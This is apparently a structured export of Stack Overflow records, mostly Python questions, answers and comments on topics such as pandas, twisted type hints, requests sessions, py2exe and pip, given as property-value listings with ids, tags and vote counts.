has body: Suppose I have the following code, using twisted's defer.inlineCallbacks: from twisted.internet import defer, reactor def main() -&gt; None: reactor.callWhenRunning( lambda: main_task().addBoth( lambda _: reactor.stop())) reactor.run() @defer.inlineCallbacks def main_task(): data = yield fetch_a_lot_of_data() yield write_data_to_disk(data) defer.returnValue(None) if __name__ == &quot;__main__&quot;: main() The body of main_task does not return anything, but main_task actually returns a generator that yields defer.Deferred objects... which the @defer.inlineCallbacks decorator uses to instead make function that returns another defer.Deferred object So how should I annotate main_task's return value? def main_task() -&gt; None:, the result of the task? def main_task() -&gt; Generator[defer.Deferred, object, None]:, the return value of main_task if it didn't have a decorator on it? def main_task() -&gt; defer.Deferred:, the return value of the decorated function? ...or something else entirely?
has comment: http://stackoverflow.com/comment/82157728
has title: How to use Python's type hints with decorated functions and generators?
answer count: 1
downvote count: 0

http://stackoverflow.com/q/46913745
tagged with: python
score: -1
tagged with: list
answer count: 2
has title: Intersection of multiple lists with cross-tab format
has answer: http://stackoverflow.com/a/46914527
has answer: http://stackoverflow.com/a/46915032
type: UnansweredQuestion
downvote count: 2
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80774624
has body: I have a group of lists: a = [1,2,3] b = [2,3,4] c = [1,2,4] d = [1,3,6] I want to get the count of intersection of each two lists, with the output displayed as a cross-tabulation, so that the columns and index are both a, b, c, d. For instance, both 2 and 3 are common between a and b, so the count is 2 between them.
tagged with: pandas
tagged with: intersection

http://stackoverflow.com/comment/80778252
score: 0
has text: s comes from a property file that could be edited at anytime.
comment on: http://stackoverflow.com/q/46914923
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/127514851
comment on: http://stackoverflow.com/a/47018648
score: 0
type: AnswerComment
has text: OpenPyXL has dependencies. which can be problematic. especially when the install area is maintained by another person (aka, IT ) and you don't have control over it. ( future code failure if things change )
type: Comment

http://stackoverflow.com/comment/80795822
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/46924494
type: Comment
has text: I tend to disagree. I think the `update` is much more succinct, followed by the dict comp shown by the leading answer.

http://stackoverflow.com/q/46981535
downvote count: 0
tagged with: pandas
upvote count: 1
type: UnansweredQuestion
score: 1
has answer: http://stackoverflow.com/a/46981908
has answer: http://stackoverflow.com/a/46981899
has comment: http://stackoverflow.com/comment/80910631
has body: I am trying to multiply two pandas data_frames with varying number of columns and I would like to end up with a resulting data_frame in the shape of the first data_frame. i.e. if the row and column matches multiple the two cells, otherwise keep the value as in the first data frame. Examples below: What is the most efficient matrix form approach that will not require a for loop? Thank you! df1: df2: resulting df (df_result = df1 * df2):
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46982191
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/46982157
has title: Column Apply in Pandas

http://stackoverflow.com/q/46916948
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80781215
has answer: http://stackoverflow.com/a/46916987
score: 1
has body: For a school project I am trying to convert a board game to a Python game The game I am translating is 'stock ticker' and it involves buying and selling 6 'stocks'. The amount of players that can play is 2-8. The way I made a variable player count is creating a player class, and initializing a player object and adding it to a list at the start of the game. class player: money = 5000 stocks = {'Gold': 0, 'Tech': 0, 'Oil': 0, 'Grain': 0, 'Industry': 0, 'Bonds': 0} I create the list with for i in range(0, playersTotal): newPlayer = player() playerList.append(newPlayer) The problem is that when players buy and sell stocks and the values are adjusted say with: (assuming player0 has 0 gold) playerList[0].stocks['Gold'] += 1000 every dictionary of every player is updated the same way print(playerList[1].stocks['Gold']) &gt;&gt;&gt;1000 I don't know why the dictionary is updated for all the player objects in the list because when the money attribute is adjusted it stays separate: (if both players have 0 money) playerList[0].money += 1000 print(playerList[1].money) &gt;&gt;&gt; 0 How do I keep the dictionaries separate?
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80781238
has title: How do I stop updating all object's dictionaries in a list of objects? (Python)
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46916987
has comment: http://stackoverflow.com/comment/80781172
tagged with: python
tagged with: dictionary
upvote count: 2

http://stackoverflow.com/a/71949330
has body: From my experience, In anaconda, create a environment and click on play symbol on that env and click open terminal. That's where you type cd path (if you store the file in C drive, copy the path of the drive and paste beside cd). After clicking enter write jupyter notebook. You'll see a chrome page opened.
downvote count: 1
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/127140194
answers question: http://stackoverflow.com/q/46972225
upvote count: 0

http://stackoverflow.com/q/46987818
has comment: http://stackoverflow.com/comment/80927885
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80922620
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46988386
tagged with: python-requests
score: 0
tagged with: http-post
has body: I'm trying to use the session object in Requests library to make POST requests with login credential by following a practice example from the book "Web Scraping with Python". However, I have encountered a weird problem (probably a bug) with it. The author of the book had set up a simple login web page for test: http://pythonscraping.com/pages/cookies/login.html. The username can be anything with the password as "password", then the login process will be redirected to another page: http://pythonscraping.com/pages/cookies/welcome.php. The Python code that I use to run against it is as follows: import requests ssn = requests.Session() param = {'password':'password','username':'letmein'} r = ssn.post('http://pythonscraping.com/pages/cookies/welcome.php',data=param) print('Cookies set to :') print(r.cookies.get_dict()) print('Server response :') print(r.text) And the output of the above code is: Cookies set to : {'loggedin': '1', 'username': 'letmein'} Server response : Welcome to the Website! Whoops! You logged in wrong. Try again with any username, and the password "password" Log in here Apparently the login has failed. The thing that I don't understand is why. And in the program output showed the POST variables set by the request, the password variable is missing. Am I missing something here or is it a bug with the Requests library? P.S. I'm running the program with Python 3.6.2 and Requests 2.18.4.
has title: Weird result with Requests library to do web page login
type: Question

http://stackoverflow.com/q/47010344
answer count: 2
tagged with: pandas
score: 1
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47010379
favorite count: 0
type: Question
tagged with: data-analysis
has answer: http://stackoverflow.com/a/47010655
possible better answer: http://stackoverflow.com/a/47010655
has body: I have a df, Names Values TC Ram 2 TC Count pechi 2 TC Count Sunil 1 TC Count Ravi 1 TC Count sri 1 TC Count I want to add some texts between the data columns I tried df.join but not wot working fine, My expected output is, df, Names Values Ram val2balTCcount pechi val2balTCcount Sunil val1balTCcount Ravi val1balTCcount sri val1balTCcount Thanks in Advance!
has title: Adding text between data column in python
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/47010379
type: AnsweredQuestion

http://stackoverflow.com/comment/80798306
type: QuestionComment
has text: using itertools.product to get all combination and using .format(**{combination}) to fill in but not sure how to get which keys were filled after that with
comment on: http://stackoverflow.com/q/46925633
score: 0
type: Comment

http://stackoverflow.com/comment/80954230
comment on: http://stackoverflow.com/a/47003818
type: AnswerComment
score: 0
has text: @MakaloneLOgman, if you're so uncomfortable with this (no, you cannot escape it in Python 2), you can upgrade to Python 3, which has built-in support for Unicode.
type: Comment

http://stackoverflow.com/a/47023783
score: 0
answers question: http://stackoverflow.com/q/47023554
has body: Loop through our words...If it meets the criteria, add it to the list. This seems to be the point of issue. You are stopping at the first match, not the best match. Using your 1600 square matrix of relatedness values, you can simply get the index of the maximum relatedness value for the remaining words, then go the word matrix and add the corresponding word to the list.
has comment: http://stackoverflow.com/comment/80998230
type: Answer
has comment: http://stackoverflow.com/comment/80994828

http://stackoverflow.com/q/46956567
tagged with: javascript
tagged with: python
has title: JavaScript event on Odoo's header button
tagged with: odoo
tagged with: odoo-8
has comment: http://stackoverflow.com/comment/80882605
answer count: 1
downvote count: 0
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/46967828
favorite count: 0
type: Question
type: UnansweredQuestion
has body: I'm trying to have a JavaScript event fired on a header button (the workflow button). This is my js var _t = instance.web._t, QWeb = instance.web.qweb; instance.web.FormView.include({ init: function() { this._super.apply(this, arguments); }, events: { "click .resume_consultation": "resume_consultation", }, resume_consultation : function(ev) { ev.preventDefault(); ev.stopPropagation(); } }) The xml for button &lt;header&gt; &lt;button type="object" class="resume_consultation" name="testonly" string="Test Only"/&gt; &lt;/header&gt; The python @api.multi def testonly(self): return False The event is not called. But I know that the init from the FormView is executed. It's just that the event is not. Anyone know how to do it for the workflow buttons?

http://stackoverflow.com/q/47000688
score: -2
downvote count: 2
has title: How can i pass tuple as formal parameter in python
has answer: http://stackoverflow.com/a/47000748
tagged with: python
type: AnsweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80947978
accepted answer: http://stackoverflow.com/a/47000748
linked to: http://stackoverflow.com/q/46998286
favorite count: 0
type: Question
has body: How to write a function that gives sum of its elements by skipping first two elements. It should handle if None is encountered [('p101111', 'Kazmi', 64, 78.5, 89, 25, 99), ('p101112', 'Ali', 14, 28.5, None, 83, 76,60.5,34,32,89)]
has comment: http://stackoverflow.com/comment/80948057
upvote count: 0

http://stackoverflow.com/q/47000849
has answer: http://stackoverflow.com/a/47002706
type: Question
tagged with: numpy
has title: efficiently convert big list with differently sized sublists to padded NumPy array
has comment: http://stackoverflow.com/comment/80949135
tagged with: arrays
has comment: http://stackoverflow.com/comment/80951074
has comment: http://stackoverflow.com/comment/80949317
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/47001359
has body: I retrieve a big amount (>100.000) of time series a database. One time series is a 2D List with 5 to 10 entries, each entry holds 8 values: single_time_series = [ [ 43, 1219, 1065, 929, 1233, 2604, 3101, 2196], [ 70, 1148, 1041, 785, 1344, 2944, 3519, 3506], [ 80, 1148, 976, 710, 1261, 2822, 3335, 3247], [ 103, 1236, 1090, 762, 1024, 2975, 3777, 3093], [ 120, 883, 937, 493, 1221, 4119, 5241, 5133], [ 143, 1110, 1089, 887, 1420, 2471, 2905, 2845] ] # a time series with 6 entries, each entry represents one day For further processing I want all of these individual time series together in one 3D numpy array. But since the length of each series may vary between 5 and 10 entries I need to pad every time series that is shorter than 10 with zero-filled-arrays: [ [ 43, 1219, 1065, 929, 1233, 2604, 3101, 2196], [ 70, 1148, 1041, 785, 1344, 2944, 3519, 3506], [ 80, 1148, 976, 710, 1261, 2822, 3335, 3247], [ 103, 1236, 1090, 762, 1024, 2975, 3777, 3093], [ 120, 883, 937, 493, 1221, 4119, 5241, 5133], [ 143, 1110, 1089, 887, 1420, 2471, 2905, 2845], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0, 0, 0] ] Currently I'm achieving this by iterating over each time series coming from the database, padding it and appending it to the final numpy array: MAX_SEQUENCE_LENGTH = 10 all_time_series = ... # retrieved from db all_padded_time_series = np.array([], dtype=np.int64).reshape(0, MAX_SEQUENCE_LENGTH, 8) for single_time_series in all_time_series: single_time_series = np.array(single_time_series, dtype=np.int64) length_diff = MAX_SEQUENCE_LENGTH - single_time_series.shape[0] if length_diff &gt; 0: single_time_series = np.pad(single_time_series, ((0, length_diff), (0,0)), mode='constant') all_padded_time_series = np.append(all_padded_time_series, [single_time_series], axis=0) While the database request executes in a matter of seconds, the padding and appending operations take for ever – the script needs ~45 minutes for ~100.000 time s…
has answer: http://stackoverflow.com/a/47001359
accepted answer: http://stackoverflow.com/a/47002706
linked to: http://stackoverflow.com/q/32037893

http://stackoverflow.com/comment/81052971
type: QuestionComment
comment on: http://stackoverflow.com/q/47039309
score: 0
has text: @ThomIves can you provide some example for rewriting excel ? also would it cost decrease in performance as files size is around 60MB
type: Comment

http://stackoverflow.com/a/47048237
downvote count: 0
upvote count: 1
type: AcceptedAnswer
has body: You patched myclass.get_c twice, so I don't know how it will behave, but it's probably not what you meant to do. Switch one of them to myclass.get_a and you'll probably be fine. You might also find mock_meth1.assert_called() easier than self.assertTrue(mock_meth_1.called).
answers question: http://stackoverflow.com/q/47024352
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47024352

http://stackoverflow.com/q/46910151
tagged with: azure-blob-storage
accepted answer: http://stackoverflow.com/a/46925190
has title: Importing azure blob via SAS in Python
tagged with: python
has answer: http://stackoverflow.com/a/46925190
has answer: http://stackoverflow.com/a/78563007
has comment: http://stackoverflow.com/comment/80773972
has comment: http://stackoverflow.com/comment/80796971
type: AnsweredQuestion
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/80791009
answer count: 3
possible better answer: http://stackoverflow.com/a/78563007
downvote count: 0
has answer: http://stackoverflow.com/a/46910539
tagged with: azure-storage
favorite count: 0
has body: EDIT: I am looking to import a blob from an Azure Storage Container into my Python script via a BLOB-specific SAS. from azure.storage.blob import BlobService sas_service = BlobService( account_name = "name", sas_token = "mytoken" ) blob_content = sas_service.get_blob_to_path("container_name", "blob_name") I tried using this, but it outputs an OSError listing also a "503 error"
has comment: http://stackoverflow.com/comment/80768244
type: Question
tagged with: azure

http://stackoverflow.com/comment/80819621
comment on: http://stackoverflow.com/q/46934884
score: 0
type: QuestionComment
has text: Its an actual newline
type: Comment

http://stackoverflow.com/a/46938369
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46938148
answers question: http://stackoverflow.com/q/46938148
has body: print x.text There is a similar question answered here and documentation should help.
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/46965957
type: Question
has title: Bypass error Division by zero when doing a loop - Python
has comment: http://stackoverflow.com/comment/80879501
has answer: http://stackoverflow.com/a/46965998
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80879511
has comment: http://stackoverflow.com/comment/80879514
score: 0
has comment: http://stackoverflow.com/comment/80879488
answer count: 1
has comment: http://stackoverflow.com/comment/80879506
has body: New using Python :) I am trying to normalise my data using different columns however, it sometimes occur that some columns I am using to make division have value = 0. Which then give me error: ZeroDivisionError by zero. I have one dataframe mergedfs and loop through columns to calculate normalised values. b = 0 w = (len(files))+1 #number depending on how many csv files I have. This will determine which columns index I will use. while b &lt; len(files): b += 1 if b == 1: w += 1 mergedfs.insert(len(files)+1+b, 'NHAF R{}'.format(b), np.log10((((mergedfs.ix[:,b] / mergedfs.ix[:,w])/106)/((mergedfs.ix[:,b].sum() / (mergedfs.ix[:,w].sum())/106)) / sum(((mergedfs.ix[:,b] / mergedfs.ix[:,w])/106)/((mergedfs.ix[:,b].sum() / (mergedfs.ix[:,w].sum())/106)))))) else: w += 2 mergedfs.insert(len(files)+1+b, 'NHAF R{}'.format(b), np.log10(((mergedfs.ix[:,b] / mergedfs.ix[:,w])/106)/((mergedfs.ix[:,b].sum() / (mergedfs.ix[:,w].sum())/106)) / sum(((mergedfs.ix[:,b] / mergedfs.ix[:,w])/106)/((mergedfs.ix[:,b].sum() / (mergedfs.ix[:,w].sum())/106))))) The ZeroDivisionError by zero is usually because sometimes. mergedfs.ix[:,b] AND mergedfs.ix[:,b] will be equal to 0. Is there a way to bypass it? I have tried np.log10((((mergedfs.ix[:,b] / mergedfs.ix[:,w])/106)/((mergedfs.ix[:,b].sum() / (mergedfs.ix[:,w].sum())/106)) / sum(((mergedfs.ix[:,b] / mergedfs.ix[:,w])/106)/((mergedfs.ix[:,b].sum() / (mergedfs.ix[:,w].sum())/106)))).where(mergedfs.ix[:,b] != 0) However, no success. I have searched for quite a while on stackoverflow and most didn't work on my code. Thanks a lot if you can guide me a bit to solve this problem. Cheers !

http://stackoverflow.com/comment/80942819
has text: I see... so if even one tests fails, it returns false? but wouldn't the return true afterwards overwrite the return false?
comment on: http://stackoverflow.com/a/46997938
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80989818
has text: In python3, the you can call the builtin `super()` with no arguments. If you write code that must work with python2 as well, you need to call it with `super(SomeModelAdmin, self)`. Since the upcoming version of django doesn't support python 2.7 at all, you might as well write code for python 3.x only.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47021364
score: 0

http://stackoverflow.com/a/47149869
score: 2
has body: The Adjacency method of igraph.Graph expects a matrix of the type igraph.datatypes.Matrix, not a numpy matrix. igraph will convert a list of lists to a matrix. Try using g = igraph.Graph.Adjacency(adjacency.astype(bool).tolist()) where adjacency is your numpy matrix of zeros and ones.
answers question: http://stackoverflow.com/q/47022128
type: Answer
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/80825219
score: 0
has text: Related: https://stackoverflow.com/questions/7706095/filter-log-file-entries-based-on-date-range
type: Comment
comment on: http://stackoverflow.com/q/46938066
type: QuestionComment

http://stackoverflow.com/comment/80856971
score: 0
has text: can you explain better also for the persons who doens't know awk and his syntax?
type: QuestionComment
comment on: http://stackoverflow.com/q/46954932
type: Comment

http://stackoverflow.com/comment/81067120
type: Comment
has text: On Unix-like systems you stop parameter expansions like that by quoting the arg with single quotes (not double quotes). Doesn't that work on Windows?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47059729

http://stackoverflow.com/q/47012466
accepted answer: http://stackoverflow.com/a/47128462
has answer: http://stackoverflow.com/a/47128462
tagged with: evaluation
has title: Sympy incorrect substitution with subs
tagged with: python
has body: q1 = Function('q1')(t) f=cos(q1).diff(t) f.subs(q1,pi/2) I have a function f = -sin(q1)*q1' and I would like to evaluate it at when q1=pi/2. I would expect to get an answer: -(q1)' but instead I get: -0. So not only the parameter q1 gets substituted but also its time derivative becomes zero, because q1 is now a constant. Am I using a wrong method here?
tagged with: sympy
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
type: AnsweredQuestion

http://stackoverflow.com/q/46985525
tagged with: python
tagged with: pygame
has body: I have a pygame application which I would like to convert to .exe format. Pygame2exe (https://pygame.org/wiki/Pygame2exe) works nicely EXCEPT I am unable to figure out how to do this conversion with a project that has more than one custom module. For example: python_project/ main.py other.py I need to compile both modules, and merging them is not an option. I have been working at this problem for a few weeks, and have not found any solutions. I know it is possible, because I had it working, and then formatted the only hard drive that had a copy of the code without realizing I had not made a backup. EDIT Thank you Michael. I just had to make a small change to the setup.py file you provided to make it font compatible. Here is the full setup.py file from distutils.core import setup import py2exe import os origIsSystemDLL = py2exe.build_exe.isSystemDLL def isSystemDLL(pathname): if os.path.basename(pathname).lower() in ["sdl_ttf.dll"]: return 0 return origIsSystemDLL(pathname) py2exe.build_exe.isSystemDLL = isSystemDLL setup(windows=['main.py']) (taken from Pygame font not working after py2exe) Thanks again.
tagged with: exe
type: Question
accepted answer: http://stackoverflow.com/a/46985862
has comment: http://stackoverflow.com/comment/80918827
downvote count: 0
upvote count: 1
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/46985862
type: AnsweredQuestion
has title: How to convert a pygame application with multiple modules to .exe
linked to: http://stackoverflow.com/q/21800218
score: 1
has comment: http://stackoverflow.com/comment/80918491

http://stackoverflow.com/comment/81011294
comment on: http://stackoverflow.com/a/47032202
has text: it returned 2017-10-31 00:00:00 of type <class 'pandas._libs.tslib.Timestamp'> I'm using pandas version 0.20.3
score: 0
type: Comment
type: AnswerComment

gmail
type: Tag
tag name: gmail
tags question: http://stackoverflow.com/q/47062882

http://stackoverflow.com/a/47037835
has body: List comprehensions are wonderful, but it's not illegal to use more than one line of code! You could even - heaven forbid - use a for loop! result = [] for el in mystring.split(",") x = el.strip() if x: result.append(x) Here's a two-line version. It's actually the same as the accepted answer by Willem Van Onsem, but with a name given to a subexpression (and a generator changed to a list but it makes essentially no difference for a problem this small). In my view, this makes it a lot easier to read, despite taking fractionally more code. all_terms = [el.strip() for el in mystring.split(",")] non_empty_terms = [x for x in all_terms if x] Some of the other answers are certainly shorter, but I'm not convinced any of them are simpler/easier to understand. Actually, I think the best answer is just the one in your question, because the repetition in this case is quite minor.
has comment: http://stackoverflow.com/comment/81026322
type: Answer
score: -1
answers question: http://stackoverflow.com/q/47033033
downvote count: 2
upvote count: 1

http://stackoverflow.com/q/47059642
has answer: http://stackoverflow.com/a/47059875
has comment: http://stackoverflow.com/comment/81067847
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81066971
has answer: http://stackoverflow.com/a/47059801
accepted answer: http://stackoverflow.com/a/47059801
has comment: http://stackoverflow.com/comment/81067053
has comment: http://stackoverflow.com/comment/81067108
possible better answer: http://stackoverflow.com/a/47059857
tagged with: python
has body: I have a list e.g. below Final_list = ['A', 'B', 'C', 'D', 'E', 'B_-1', 'C_-1', 'D_-1'] and I would like to create two lists to get IDs and then numerical values. To do that, I have split after "_" the following to split; j = [] for i in Final_list: timelags = i.split("_") j.append(timelags) print(j) and the result is List_2 = [['A'], ['B'], ['C'], ['D'], ['E'], ['B', '-1'], ['C', '-1'], ['D', '-1']] But I would like to create two lists e.g. see below; ID = ['A','B','C','D','E'] Timelag = [[0],[-1,0],[-1,0],[-1,0],[0]] You can see that there are no duplicates in the ID list and Timelag list has 0 if there is no _ is the original list e.g. for A and E. P.S: the order needs to be the same for both lists.
has comment: http://stackoverflow.com/comment/81067093
has comment: http://stackoverflow.com/comment/81067008
has comment: http://stackoverflow.com/comment/81066803
has title: Creating two lists from one to get IDs and numerical values
type: AnsweredQuestion
score: 0
tagged with: list
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/81066940
has comment: http://stackoverflow.com/comment/81066813
has comment: http://stackoverflow.com/comment/81066924
downvote count: 1
has answer: http://stackoverflow.com/a/47059857

http://stackoverflow.com/a/46932004
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46931959
type: Answer
has body: Use agg and then add missing values by unstack + stack: df = df.groupby([df.sex,pd.cut(df.age,bin)]) .agg({'num':'sum', 'age':'size'}) .unstack(fill_value=0) .stack() print (df) num age sex age 1 (0, 5] 23 2 (5, 10] 0 0 2 (0, 5] 13 1 (5, 10] 14 1 Or create MultiIndex and reindex: bin=[0,5,10] cats = pd.cut(df.age,bin) mux = pd.MultiIndex.from_product([df.sex.unique(), cats.cat.categories]) df = df.groupby([df.sex,cats]).agg({'num':'sum', 'age':'size'}).reindex(mux, fill_value=0) print (df) num age 1 (0, 5] 23 2 (5, 10] 0 0 2 (0, 5] 13 1 (5, 10] 14 1
accepted answer of: http://stackoverflow.com/q/46931959
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/80938604
type: AnswerComment
type: Comment
has text: Thanks for your answer. I find where the error is. Just like your answer some logic in upload_to_some_where function is wrong,
score: 0
comment on: http://stackoverflow.com/a/46988943

http://stackoverflow.com/q/46926771
has body: env: centos, python2.7.9 kafka-python==0.9.3 six==1.9.0 I am new to kafka, I am just trying an example program and getting below error. Any help would be appreciated. The code raises error in "from kafka import KafkaClient, KeyedProducer, RoundRobinPartitioner" Traceback (most recent call last): File "send_kafka/send_monitor.py", line 4, in &lt;module&gt; from kafka import KafkaClient, KeyedProducer, RoundRobinPartitioner File "/usr/local/lib/python2.7/site-packages/kafka/__init__.py", line 4, in &lt;module&gt; __version__ = pkg_resources.require('kafka-python')[0].version File "/usr/local/lib/python2.7/site-packages/setuptools-0.6c11-py2.7.egg/pkg_resources.py", line 666, in require File "/usr/local/lib/python2.7/site-packages/setuptools-0.6c11-py2.7.egg/pkg_resources.py", line 565, in resolve pkg_resources.DistributionNotFound: six and if I try "pip install distribute", Exception: Traceback (most recent call last): File "/usr/local/lib/python2.7/site-packages/pip/basecommand.py", line 215, in main status = self.run(options, args) File "/usr/local/lib/python2.7/site-packages/pip/commands/install.py", line 342, in run prefix=options.prefix_path, File "/usr/local/lib/python2.7/site-packages/pip/req/req_set.py", line 784, in install **kwargs File "/usr/local/lib/python2.7/site-packages/pip/req/req_install.py", line 851, in install self.move_wheel_files(self.source_dir, root=root, prefix=prefix) File "/usr/local/lib/python2.7/site-packages/pip/req/req_install.py", line 1064, in move_wheel_files isolated=self.isolated, File "/usr/local/lib/python2.7/site-packages/pip/wheel.py", line 247, in move_wheel_files prefix=prefix, File "/usr/local/lib/python2.7/site-packages/pip/locations.py", line 140, in distutils_scheme d = Distribution(dist_args) File "/usr/local/lib/python2.7/site-packages/setuptools-0.6c11-py2.7.egg/setuptools/dist.py", line 261, in __init__ for ep in pkg_resources.iter_entry_points('distutils.setup_keywords'): File "/usr/local/lib/python2.7/site-packages/…
downvote count: 0
upvote count: 1
score: 1
answer count: 1
has title: import kafka error, kafka-python
favorite count: 0
type: Question
tagged with: apache-kafka
has answer: http://stackoverflow.com/a/46948790
accepted answer: http://stackoverflow.com/a/46948790
tagged with: python
tagged with: kafka-python
type: AnsweredQuestion

http://stackoverflow.com/comment/80912405
type: Comment
has text: you have to run those commands in a shell, not in the python interpreter. If you want to can install from within the interpreter using the pip module. I will edit my answer to include this option.
type: AnswerComment
comment on: http://stackoverflow.com/a/46922685
score: 0

http://stackoverflow.com/comment/80843428
comment on: http://stackoverflow.com/q/46948053
type: QuestionComment
has text: nope this is not how SO works, try it yourself first.
score: 0
type: Comment

http://stackoverflow.com/comment/80800667
score: 0
type: Comment
type: AnswerComment
has text: Is `braces` a module that I can install using `pip3`?
comment on: http://stackoverflow.com/a/46926483

http://stackoverflow.com/a/47028321
accepted answer of: http://stackoverflow.com/q/47028073
score: 2
upvote count: 2
has body: You can try this: d1 = {'A':[[1,30],[40,50],[60,79]], 'B':[[2,23],[26,43],[59,119]], 'C':[[1,100],[149,167],[199,250]]} def split_l(iterable, n): return [iterable[i:i+n] for i in range(0, len(iterable), n)] d2 = {k:split_l([val + (-1)**idx for idx, val in enumerate(sum(v, [])[1:])] + [600], 2) for k,v in d1.items()} Or in more readable way: d2 = {} for k, v in d1.items(): flat_v = sum(v, [])[1:] for idx, __ in enumerate(flat_v): flat_v[idx] += (-1)**idx flat_v.append(600) split_v = [flat_v[i:i+2] for i in range(0, len(flat_v), 2)] d2[k] = split_v Results: import pprint pprint.pprint(d2) {'A': [[31, 39], [51, 59], [80, 600]], 'B': [[24, 25], [44, 58], [120, 600]], 'C': [[101, 148], [168, 198], [251, 600]]}
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47028073
type: Answer

http://stackoverflow.com/comment/81021272
has text: Correct me if there was something I misunderstood, but I've explicitly said "assume the initial shape isn't known so I can't operate with absolute values", which is what you do in `shape[2] * shape[3]`.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47035021
type: AnswerComment

http://stackoverflow.com/comment/139536718
score: 0
has text: **All** languages are "lazy" in this regard: a function's body only runs when the function is _called_, not when they're _defined_. Just think about `panic_button_wipe_my_hard_drive()`.
comment on: http://stackoverflow.com/q/47056059
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47060158
tagged with: python
has body: Suppose I have a DataFrame of lists, my_df = pd.DataFrame({'my_list':[[45,12,23],[20,46,78],[45,30,45]]}) which yields the following: my_list 0 [45, 12, 23] 1 [20, 46, 78] 2 [45, 30, 45] How can I add an element, let's say 99, to my_list for each row ? Expected result : my_list 0 [45, 12, 23, 99] 1 [20, 46, 78, 99] 2 [45, 30, 45, 99]
tagged with: pandas
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47060178
upvote count: 5
has title: How to append an element to a List inside a DataFrame?
tagged with: dataframe
accepted answer: http://stackoverflow.com/a/47060992
favorite count: 0
has answer: http://stackoverflow.com/a/47060992
possible better answer: http://stackoverflow.com/a/47060178
type: Question
answer count: 2
score: 5
downvote count: 0

http://stackoverflow.com/q/47002404
has comment: http://stackoverflow.com/comment/80951422
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80951518
has title: Disappearing \, 'file not found' in Python
has body: I'm struggling to find a solution for this problem. 'File not found' seems to be a common problem, but I can find anything referencing a disappearing \ in the console. Code fp = r"\Data\Exercise2\addresses.txt" data = pd.read_csv(fp, sep=';') Error IOError: File Users\Kaitlyn\Desktop\GeoPython\Data\Exercise2ddresses.txt does not exist Eventually I got around the problem by putting the file directly into working directory folder. I tried using the absolute file path, checking/setting the wd, but that didn't work either - same error. I'm new to Python and trying to understand what could cause the error message to list the incorrect filepath? Thanks
score: 0
has comment: http://stackoverflow.com/comment/80951408
has comment: http://stackoverflow.com/comment/80951315
has comment: http://stackoverflow.com/comment/80951340
type: Question
tagged with: file-not-found
answer count: 0

http://stackoverflow.com/comment/80906129
type: Comment
comment on: http://stackoverflow.com/a/46978621
type: AnswerComment
score: 0
has text: I received it too, :-) hope they can give the reason

http://stackoverflow.com/q/47059526
answer count: 5
has answer: http://stackoverflow.com/a/50878341
has answer: http://stackoverflow.com/a/47059632
possible better answer: http://stackoverflow.com/a/47059571
tagged with: pip
tagged with: python
has comment: http://stackoverflow.com/comment/81067301
has answer: http://stackoverflow.com/a/47059571
accepted answer: http://stackoverflow.com/a/47059613
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/59609654
has title: Should I use pip.main() or subprocess.call() to invoke pip commands?
has answer: http://stackoverflow.com/a/47059613
tagged with: subprocess
has body: I am writing a program that needs to install dependencies using pip. What is the proper way to do it and why? Ideally it needs to be platform agnostic, but the program will be running on a Linux machine. Method 1: pip.main() import pip args = ['param1', 'param2'] version = 0.1 package = ['some_package=={}'.format(version)] pip.main(['install'] + args + package) Method 2: subprocess.call() import subprocess import sys version = 0.1 package = 'some_package' subprocess.call([sys.executable, '-m', 'pip', 'install', '{}=={}'.format(package, version)])
score: 10
downvote count: 1
upvote count: 11
favorite count: 0
type: Question

http://stackoverflow.com/a/46952038
upvote count: 14
type: AcceptedAnswer
downvote count: 0
has body: Try below to get property names: element = driver.find_element_by_tag_name('a') properties = driver.execute_script('return window.getComputedStyle(arguments[0], null);', element) or to get all values of properties element = driver.find_element_by_tag_name('a') properties = driver.execute_script('return window.getComputedStyle(arguments[0], null);', element) for property in properties: print(element.value_of_css_property(property))
answers question: http://stackoverflow.com/q/46951364
type: Answer
accepted answer of: http://stackoverflow.com/q/46951364
score: 14

http://stackoverflow.com/comment/81030985
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47041575
has text: @Barmar if I don't close the file I get a EOF error.

http://stackoverflow.com/comment/80928834
